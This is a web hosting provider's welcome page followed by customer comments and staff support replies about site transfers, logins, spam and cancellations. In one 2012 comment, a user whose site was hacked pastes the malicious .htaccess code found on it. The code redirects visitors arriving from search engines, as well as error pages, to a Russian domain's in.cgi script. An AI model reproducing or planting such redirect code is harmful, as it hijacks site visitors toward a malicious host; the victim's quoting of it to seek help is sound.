Welcome, we'd like to thank you for choosing Web Hosting Hub for your hosting needs! Now that you're here, we'd like to also take a moment and make sure you start off in the right direction.

Website:

New users will most often be either migrating an existing website to our servers or creating a new website from scratch. No matter which category you fall into, at this time you should review our Website Getting Started Guide.

Email:

Your hosting account includes an unlimited number of email addresses. No matter how many associates in your company you need to create email accounts for, you're covered. Whether you're setting these email accounts up for the first time or you need to migrate them as they currently exist at your previous host, please see our Email Getting Started Guide.

cPanel & AMP (a quick guide to our System):

cPanel (control panel) has always been included with all accounts. cPanel is the system you log into when you need to manage your hosting account, such as when you need to create email addresses or work with databases. What cPanel lacks however is the ability to do anything billing related, such as register for new domain names or puchase an SSL certificate. We're very proud to announce our new Account Management Panel (AMP). AMP steps in and allows you to do what cPanel doesn't. cPanel helps you control your hosting account, while AMP handles the billing side of things.

More information on the two systems can be found at cPanel vs. AMP.

Password Help:

Everyone forgets usernames / passwords for one reason or another, even we do it! It may be a good idea to bookmark the following links for future reference:

If You Need Help:

We understand that everyone needs help when it comes to web hosting. In fact, that's a key principal of our founding. Our goal is to provide the best Technical Support in the industry. We know the value of having a website, and we also understand that not everyone has a degree or experience in Web Development. If you need help, we're here for you. We have thorough online help which includes Website Tutorials, Email Tutorials, and also Domain Name Guides. We also have extensive step by step guides in our Education Channels and we have a Customer Community where you can ask any questions you may have. As always, we're available 24/7 via phone, live chat, and email.
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Comments

2012-02-27 9:08 am
Hello Support Team,

How can u help me with my new web hostings and domain step by step? .. Can you show me how can get old domain/website from godaddy www.vp-listings.com transfer to new website @ webhostinghun www.vp-listings.com?
Thanks
Harold
9,518 Points
2012-02-27 12:01 pm
ChristiNi
Staff
Hello vp-listings,

Thank you for your questions regarding transferring your domain and website to Web Hosting Hub. Step-by-step instructions for transferring your site files to us can be found in our Getting Started Guide - Transferring Your Website

If you have any questions or need any additional assistance, please feel free to submit a question in our Support Center

Regards,

Christi N.
2012-07-27 4:19 pm
Hi
I need help my site hasbeen hacked via htaccess file when i delete the code it just comes back i even repalaced the htaccess file but still the same i have the code thats in the htaccess file there is a file called cgi-bin there is a php file that has a code that does not look normal is are the codes htaccess code

RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|netscape|aol|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|liveinternet|filesearch|yell|openstat|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv|infospace)\.(.*)

RewriteRule ^(.*)$ http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com [R=301,L]

RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)

RewriteRule ^(.*)$ http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com [R=301,L]
ErrorDocument 400 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 401 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 403 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 404 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com

ErrorDocument 500 http://verygoods-2011.ru/in.cgi?10&ur=1&HTTP_REFERER=hightquality.com the php code

a:2:{s:6:"output";s:0:"";s:6:"result";a:5:{s:6:"visits";i:404;s:6:"guests";i:102;s:7:"members";i:0;s:4:"bots";i:302;s:8:"lasttime";i:1343001600;}}

please advice what to do i am a new be in webdesign usig joomla 1.5.26 version

thanks
haroon ismail
9,313 Points
2012-07-27 6:27 pm
arnelc
Staff
Hello Vp-listings,

My apologies, I initially put in the wrong reply for you issue. I have been looking at your site files, but based on what you have said, I'm not sure which site you're referring to since you have several different installations there. I see a wordpress installation and another website installation. Can you specify which installation is having the problem? I don't see an issue when I go to your temp url . Definitely clear all of your .htaccess files for now. Currently, when I go to your website, I'm not seeing any evidence of a hack. The CGI-BIN is a default folder - so it sould be there.

Please reply to this with further information on your website and we can take a closer look at what's happening.

If you have any further questions, please contact technical support or leave a comment at the bottom of the page.

Regards,

Arnel C.
2012-10-09 3:40 pm
Dear support team,

I am a new customer and try to login into my cPanel. It is not very intuitive, but I understood I need to reset my apparently randomly assigned password. I did and despite this, I still get the Login Attempt Failed! I thought it might have been a typo, so I have reset the password again, and no matter how I try, I still cennot login.

Why is this?

Thanks for your assistance.
8,823 Points
2012-10-09 3:47 pm
ScottM
Staff
Hello ebudisk,

I am able to get into your cpanel (although with our admin password) so the cpanel itself is functional.

It may be that the cpanel password reset did not work as it should. We can set reset the password for you. To do so, you would need to contact our support department at support@webhostinghub.com with that request. Be sure to validate your account with either the last 4 digits of the credit card on file, or the current Account Management Panel (AMP) password.re if you like. Be sure to specify whether you want a particular password or a randomly generated one.

Best Regards,
Scott M
2013-01-28 1:39 am
Not at all easy to move around on this site, nothing made easy to start. The tutorial videos dont play sound for me, and its not my system, even the info button makes sounds but videos dont. So far Ive seen nothing but features and no simple easy access to my site
2,247 Points
2013-01-28 1:41 pm
JacobN
Staff
Hello Lyndon, sorry to hear that you're having some problems getting started with our hosting.

The Flash video tutorials on our website don't have sound so it's not just your computer, most of the videos just walk through step by step where you need to click in the cPanel interface to accomplish certain tasks.

Was there a particular thing you were trying to do that you've been unable to find help for? You can utilize the Search box filled in with How may we help? to locate documentation for most web hosting related topics. You can also use the menu navigation at the top of our support center. For instance you can hover over Website above, then click on WordPress to review our collection of WordPress documentation.

I see looking at your account files that you've already managed to install WordPress and have it up and running on your website. If you needed to login to access your WordPress dashboard where you make your posts and pages this can be done by placing /wp-admin at the end of the URL following your domain name. Then you would need to enter in your WordPress admin user's credentials to gain access.

You can also view our full WordPress education channel for more helpful documentation on WordPress.

If you had any specific questions about something that you're attempting to do please also feel free to ask a question to our community support forum for further assistance.

- Jacob
2013-09-04 5:57 am
Hello,

My site has several problems.

Send spam.
inode-count.

First, your wordpress installed located on http://www.mno3.com was sending out spam via /home/mno3/public_html/wp-content/uploads. For that we have suspended both web and out going mail to stop the abuse. To fix this issue you should re-upload the affected wordpress files.
9,313 Points
2013-09-04 12:21 pm
arnelc
Staff
Hello Mno3.com,

Sorry to hear about the website problems. I'm not sure if you are referring to a site being hosted with us because mno3.com is not hosted with Web Hosting Hub. We would need more information on the account if you are referring to a website hosted with us.

The inode count issue would need to be fixed by the host- you can not edit this number unless you have root access to the server. In terms of the spam issue, it's very possible that your WordPress site might be compromised. This could happen if you have out of date versions of WordPress or plugins running on our your site. For more information on upgrading Wordpress or its plugins go to:

Updating WordPress
Updating WordPress Plugins

Hopefully, this will help to clear up your issues.

Regards,
Arnel C.
2013-11-04 9:21 pm
How do I cancel my account?
2013-11-04 9:24 pm
I can't find how to cancel future shipments, & my account.
2,247 Points
2013-11-05 7:16 am
JacobN
Staff
Hello camerabuster,

Sorry to hear you need to cancel your account. You can review our guide on how do I cancel my hosting account for full details.

If there was anything else at all we could help you with, please let us know.

- Jacob
2014-02-16 5:13 pm
I am having a very hard time connecting via Cute FTP. No matter what I am putting in for the host address, username and Password, nothing is connecting. Help
1,112 Points
2014-02-17 10:04 am
JeffMa
Staff
Hello melon804,

Could you clarify what specific errors you are getting? You may also want to contact technical support as well as they will be able to give you specific information for your account that we cannot do via a public forum.
2014-02-17 10:50 am
I think I may have figured it out. I have other questions, but will ask tech support. Thanks for being here for us newbies.
n/a Points
2014-03-08 12:54 pm

Hello ! 

to day i've got problem with my wordpress !  i'm trying to login in to my dashboard but not happned. i've changed my username and password but also not work and i can't login again.  would mine to help what should i do?

1,112 Points
2014-03-10 10:42 am
JeffMa
Staff
Hello Zaher,

Could you clarify what kind of errors you are getting?
n/a Points
2014-03-11 4:46 pm

I was just curious if you allow the use of dropshipping through your site? Also would you guys allow the integration of an EDI system?  If yes to these what are you requirements for dropshipping and which EDI systems do you guys support?  I am currently working on a capstone project for my undergrad degree and we are working to find a web hosting solution for our client that needs these functionalities that she currently is not getting from the web hosting service she currently uses.

7,075 Points
2014-03-12 9:41 am
Hello Kansas,

Thank you for your question. Yes, you can do dropshipping through your website hosted with us. We have many options for designing a shopping cart system, such as PrestaShop, OpenCart, ZenCart, and OsCommerce. You can even use Wordpress with an e-commerce plugin, or Joomla with the VirtueMart addon.

These are all included for free within Softaculous, along with many other software options.

I am not completely familiar with the term EDI, but I believe you are asking about the payment gateway. For this case, you can use paypal, or authorize.net, for example; but it will depend which software you use to design your site. Most e-commerce software options are compatible with the major payment gateways.

If you have any further questions, feel free to post them below.
Thank you,

-John-Paul

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